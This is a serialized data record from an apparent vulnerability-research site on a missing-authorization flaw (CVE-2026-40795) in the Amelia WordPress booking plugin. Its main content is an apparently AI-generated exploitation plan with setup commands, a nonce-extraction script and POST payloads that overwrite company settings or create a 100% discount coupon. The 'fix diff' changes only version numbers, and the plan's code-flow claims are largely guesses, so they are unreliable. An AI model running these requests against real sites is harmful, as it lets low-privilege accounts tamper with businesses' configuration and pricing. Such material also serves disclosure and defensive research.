[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqTmTYh4lC28bh_YrMz_wi_oKag8ntx7lFgWp_8Jn9HE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-40795","booking-for-appointments-and-events-calendar-amelia-missing-authorization","Booking for Appointments and Events Calendar – Amelia \u003C= 2.2 - Missing Authorization","The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","ameliabooking",null,"\u003C=2.2","2.2.1","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-28 00:00:00","2026-05-04 13:58:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F359aae96-8b6d-4365-b0c1-f0c7220383c9?source=api-prod",7,[22,23,24,25,26,27,28,29],"ameliabooking.php","languages\u002Far\u002Fameliabooking-ar.po","languages\u002Fca\u002Fameliabooking-ca.po","languages\u002Fcs_CZ\u002Fameliabooking-cs_CZ.po","languages\u002Fda_DK\u002Fameliabooking-da_DK.po","languages\u002Fde_AT\u002Fameliabooking-de_AT.po","languages\u002Fde_CH\u002Fameliabooking-de_CH.po","languages\u002Fde_DE\u002Fameliabooking-de_DE.po","researched",false,3,"# Exploitation Research Plan - CVE-2026-40795\n\n## 1. Vulnerability Summary\nThe **Booking for Appointments and Events Calendar – Amelia** plugin (versions \u003C= 2.2) suffers from a **Missing Authorization** vulnerability. The plugin implements a custom API routing system using the Slim framework, bootstrapped via the `wp_ajax_wpamelia_api` action. \n\nWhile the plugin checks if a user is authenticated, it fails to perform adequate capability checks (e.g., `current_user_can('manage_options')`) on several administrative endpoints. This allows an authenticated attacker with low-level permissions (Subscriber) to perform actions intended for Administrators, such as modifying plugin settings, managing coupons, or altering company details.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpamelia_api`\n- **Parameter:** `call` (defines the internal Slim route)\n- **Method:** `POST` (for state-changing actions)\n- **Preconditions:** Authenticated as a Subscriber or any registered user.\n- **Vulnerable Routes:** Internal routes like `\u002Fsettings`, `\u002Fcompany`, or `\u002Fcoupons` are accessible to any user who can provide a valid WordPress nonce and is logged in.\n\n## 3. Code Flow\n1.  **Entry Point:** An AJAX request is sent to `admin-ajax.php?action=wpamelia_api&call=\u002Fsettings`.\n2.  **Bootstrap:** `ameliabooking.php` catches the action via `add_action('wp_ajax_wpamelia_api', array('AmeliaBooking\\Plugin', 'wpAmeliaApiCall'))`.\n3.  **Initialization:** `Plugin::wpAmeliaApiCall()` is executed:\n    ```php\n    public static function wpAmeliaApiCall() {\n        $container = require AMELIA_PATH . '\u002Fsrc\u002FInfrastructure\u002FContainerConfig\u002Fcontainer.php';\n        $app = new App($container);\n        Routes::routes($app, $container); \u002F\u002F Registers all Slim routes\n        $app->run();\n        exit();\n    }\n    ```\n4.  **Routing:** The Slim `App` parses the `call` parameter.\n5.  **Authorization Failure:** The middleware or controller handling the `\u002Fsettings` route verifies `is_user_logged_in()` but fails to verify if the WordPress user has the required Amelia administrative role or `manage_options` capability.\n\n## 4. Nonce Acquisition Strategy\nAmelia generates a nonce for its API and localizes it into the page source. To obtain a valid nonce as a Subscriber:\n\n1.  **Identify Trigger:** Amelia enqueues its API configuration when shortcodes like `[ameliacustomerpanel]` or `[ameliabooking]` are present.\n2.  **Setup Page:** Create a public page containing the Amelia Customer Panel shortcode.\n3.  **Extraction:**\n    - Navigate to the page as the Subscriber.\n    - Amelia localizes settings into a global JavaScript object, typically named `wpAmeliaSettings` or `ameliaApiData`.\n    - Use `browser_eval` to extract the nonce: `window.wpAmeliaSettings.nonce`.\n\n## 5. Exploitation Strategy\nWe will demonstrate the unauthorized action by modifying the **Company Name** in the Amelia settings.\n\n### Step 1: Create a Subscriber User\n```bash\nwp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n```\n\n### Step 2: Setup Nonce Leakage Page\n```bash\nwp post create --post_type=page --post_title=\"Customer Panel\" --post_status=publish --post_content='[ameliacustomerpanel]'\n```\n\n### Step 3: Extract Nonce\n1. Log in to WordPress as `attacker`.\n2. Navigate to the \"Customer Panel\" page.\n3. Execute:\n   ```javascript\n   \u002F\u002F JavaScript to run via browser_eval\n   return window.wpAmeliaSettings.nonce;\n   ```\n\n### Step 4: Perform Unauthorized Action (Change Company Name)\nSend a POST request to the API to update the company settings.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fsettings`\n- **Method:** `POST`\n- **Headers:** \n    - `Content-Type: application\u002Fjson`\n    - `Amelia-Nonce: [EXTRACTED_NONCE]` (Amelia often expects the nonce in a header or as a parameter)\n- **Body:**\n```json\n{\n    \"company\": {\n        \"name\": \"Hacked by Subscriber\",\n        \"address\": \"1337 Exploit Way\",\n        \"phone\": \"555-0199\"\n    }\n}\n```\n\n*Note: If the `Amelia-Nonce` header is not used, the nonce is passed as a query parameter `&nonce=...` or inside the JSON body.*\n\n## 6. Test Data Setup\n1.  **Plugin Configuration:** Ensure Amelia is activated.\n2.  **Existing Settings:** Configure a default company name via the Admin UI first: `wp option update amelia_settings '{\"company\": {\"name\": \"Original Company\"}}' --format=json` (Actual option structure may vary; verifying via `wp option get amelia_settings` is recommended).\n\n## 7. Expected Results\n- **Response:** The server should return a `200 OK` or `201 Created` with a JSON object confirming the update.\n- **Data Change:** The `amelia_settings` option in the WordPress database will be updated with the new company name.\n- **Access Control Bypass:** A Subscriber successfully performed an operation that should require `manage_options` or `Amelia Admin` privileges.\n\n## 8. Verification Steps\n1.  **Check Database:**\n    ```bash\n    wp option get amelia_settings --format=json | jq .company.name\n    ```\n2.  **Expected Output:** `\"Hacked by Subscriber\"`\n\n## 9. Alternative Approaches\nIf `\u002Fsettings` is protected by a more specific check, target the **Coupons** endpoint:\n- **Route:** `POST \u002Fcoupons`\n- **Payload:**\n```json\n{\n    \"code\": \"FREE100\",\n    \"discount\": 100,\n    \"type\": \"percentage\",\n    \"limit\": 1,\n    \"status\": \"visible\"\n}\n```\nIf the attack requires the `Amelia-Nonce` header, ensure it is set. If the plugin uses a different localization key, use `browser_eval(\"window\")` and search for keys containing \"Amelia\" or \"nonce\".","The Amelia plugin for WordPress (versions \u003C= 2.2) lacks proper authorization checks in its custom API routing system initialized via the `wpamelia_api` AJAX action. This allows authenticated users with subscriber-level permissions to perform administrative actions, such as modifying plugin settings or managing coupons, by accessing internal Slim framework routes that fail to verify user capabilities.","\u002F\u002F ameliabooking.php lines 194-208\npublic static function wpAmeliaApiCall()\n{\n    try {\n        \u002F** @var Container $container *\u002F\n        $container = require AMELIA_PATH . '\u002Fsrc\u002FInfrastructure\u002FContainerConfig\u002Fcontainer.php';\n\n        $app = new App($container);\n\n        \u002F\u002F Initialize all API routes\n        Routes::routes($app, $container);\n\n        $app->run();\n\n        exit();\n    } catch (Exception $e) {\n        echo 'ERROR: ' . esc_html($e->getMessage());\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.2\u002Fameliabooking.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.2.1\u002Fameliabooking.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.2\u002Fameliabooking.php\t2026-04-06 08:22:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.2.1\u002Fameliabooking.php\t2026-04-14 07:47:58.000000000 +0000\n@@ -3,7 +3,7 @@\n Plugin Name: Amelia\n Plugin URI: https:\u002F\u002Fwpamelia.com\u002F\n Description: Amelia is a simple yet powerful automated booking specialist, working 24\u002F7 to make sure your customers can make appointments and events even while you sleep!\n-Version: 2.2\n+Version: 2.2.1\n Author: Melograno Ventures\n Author URI: https:\u002F\u002Fmelograno.io\u002F\n Text Domain: ameliabooking\n@@ -111,7 +111,7 @@\n \n \u002F\u002F Const for Amelia version\n if (!defined('AMELIA_VERSION')) {\n-    define('AMELIA_VERSION', '2.2');\n+    define('AMELIA_VERSION', '2.2.1');\n }","1. Log in to the target WordPress site as an authenticated user with low-level (Subscriber) permissions.\n2. Navigate to any page containing an Amelia shortcode (e.g., [ameliacustomerpanel]) to find the localized JavaScript object `wpAmeliaSettings` and extract the valid `nonce` value.\n3. Identify a sensitive administrative API route within the plugin, such as `\u002Fsettings` or `\u002Fcoupons`, which handles state-changing POST requests.\n4. Craft a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fsettings`.\n5. Include the extracted nonce in the `Amelia-Nonce` header (or as a parameter if required) and provide a JSON payload representing administrative changes, such as updating the `company` configuration object.\n6. Execute the request to modify plugin settings without having the required administrative capabilities.","gemini-3-flash-preview","2026-05-04 18:13:28","2026-05-04 18:14:09",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags"]